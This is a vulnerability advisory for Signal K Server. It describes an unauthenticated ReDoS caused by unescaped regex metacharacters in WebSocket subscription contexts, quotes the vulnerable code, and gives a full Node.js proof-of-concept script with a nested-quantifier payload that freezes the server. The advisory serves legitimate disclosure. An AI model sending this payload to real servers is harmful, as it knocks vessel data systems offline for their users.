Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths

Summary

The SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the context parameter of a stream subscription, an attacker can force the server's Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server's self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.

Description

The vulnerability stems from flawed string-to-regex conversion in signalk-server/src/subscriptionmanager.ts. The contextMatcher() and pathMatcher() functions convert wildcard strings (e.g., *) into regular expressions to match incoming data against client subscriptions.

While the code attempts to escape . and * characters, it fails to escape other dangerous regular expression metacharacters—such as +, (, ), ?, [, and ]. Because of this, an attacker can submit a crafted context that contains nested quantifiers (e.g., ([a-z0-9:-]+)+!). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like vessels.urn:mrn:signalk:uuid:d384dc156010), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.

Affected Code Blocks & Files

File: signalk-server/src/subscriptionmanager.ts

Affected lines for Context subscriptions (282-300):

function contextMatcher(...) {
  if (subscribeCommand.context) {
    if (isString(subscribeCommand.context)) {
      const pattern = subscribeCommand.context
        .replace(/\./g, '\\.')
        .replace(/\*/g, '.*')
      const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: User input compiled into regex directly
      return (normalizedDeltaData: WithContext) =>
        matcher.test(normalizedDeltaData.context) ||

Affected lines for Path subscriptions (276-280):

function pathMatcher(path: string = '*') {
  const pattern = path.replace(/\./g, '\\.').replace(/\*/g, '.*')
  const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: Same issue here
  return (aPath: string) => matcher.test(aPath)
}

Proof of Concept (PoC) Steps

const WebSocket = require('ws');
const http = require('http');

const HOST = 'localhost';
const PORT = 3000;
const WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`;
// Use the API endpoint to measure real server processing lag (requires JSON serialization)
const HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;

console.log(`[+] Target Server API: ${HTTP_URL}`);
console.log(`[+] Target WebSocket: ${WS_URL}`);

let requestCount = 0;

// Polling function to check server responsiveness and compute delay
function checkServerStatus() {
    const startTime = Date.now();
    requestCount++;
    const reqId = requestCount;
    
    const req = http.get(HTTP_URL, (res) => {
        let size = 0;
        res.on('data', chunk => { size += chunk.length; });
        res.on('end', () => {
             const latency = Date.now() - startTime;
             console.log(`[HTTP #${reqId}] API responded in ${latency}ms (Data size: ${size} bytes)`);
        });
    });

    req.on('error', (err) => {
        console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`);
    });

    // Timeout if the event loop is blocked
    req.setTimeout(2000, () => {
        console.log(`[HTTP #${reqId} TIMEOUT] Server is completely blocked! Node event loop is frozen.`);
        req.destroy();
    });
}

// Start polling every 1 second
console.log('[+] Starting baseline HTTP polling...');
const pollInterval = setInterval(checkServerStatus, 1000);

// Wait a few seconds to establish a baseline, then launch the ReDoS
setTimeout(() => {
    console.log(`\n[!] Initiating WebSocket connection to launch ReDoS attack...`);
    const ws = new WebSocket(WS_URL);

    ws.on('open', () => {
        console.log('[+] WebSocket Connected! Sending catastrophic ReDoS payload...');
        
        // This regex exploits the unescaped Regex metacharacters in context matcher.
        // It forms: `^vessels\.([a-z0-9:-]+)+!$`
        // When evaluated against `vessels.urn:mrn:signalk:uuid:xxx` (38+ characters), 
        // the nested quantifier `([a-z0-9:-]+)+` will result in 2^38 evaluations 
        // because it fails to find the '!' at the end. This reliably freezes V8.
        const pocPayload = {
            context: "vessels.([a-z0-9:-]+)+!",
            announceNewPaths: true,
            subscribe: [{ path: "*" }]
        };

        ws.send(JSON.stringify(pocPayload));
        console.log('[!] Payload sent. The server should instantly freeze. Watch the HTTP pollers now...\n');
    });

    ws.on('error', (err) => {
        console.error(`[-] WebSocket Error: ${err.message}`);
    });

}, 3500);

// Automatically shut down the test after 15 seconds
setTimeout(() => {
    console.log(`\n[+] Test complete. Stopping pollers.`);
    clearInterval(pollInterval);
    process.exit(0);
}, 15000);

<img width="1003" height="524" alt="Screenshot 2026-03-29 101918" src="https://github.com/user-attachments/assets/4b257c4c-f97a-4812-b812-ce2f235b6039" />

Impact

This vulnerability achieves a complete Denial of Service (DoS) against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop.

<img width="999" height="153" alt="Screenshot 2026-03-29 101820" src="https://github.com/user-attachments/assets/54214d1c-252f-4533-ad02-14959ea2bed0" />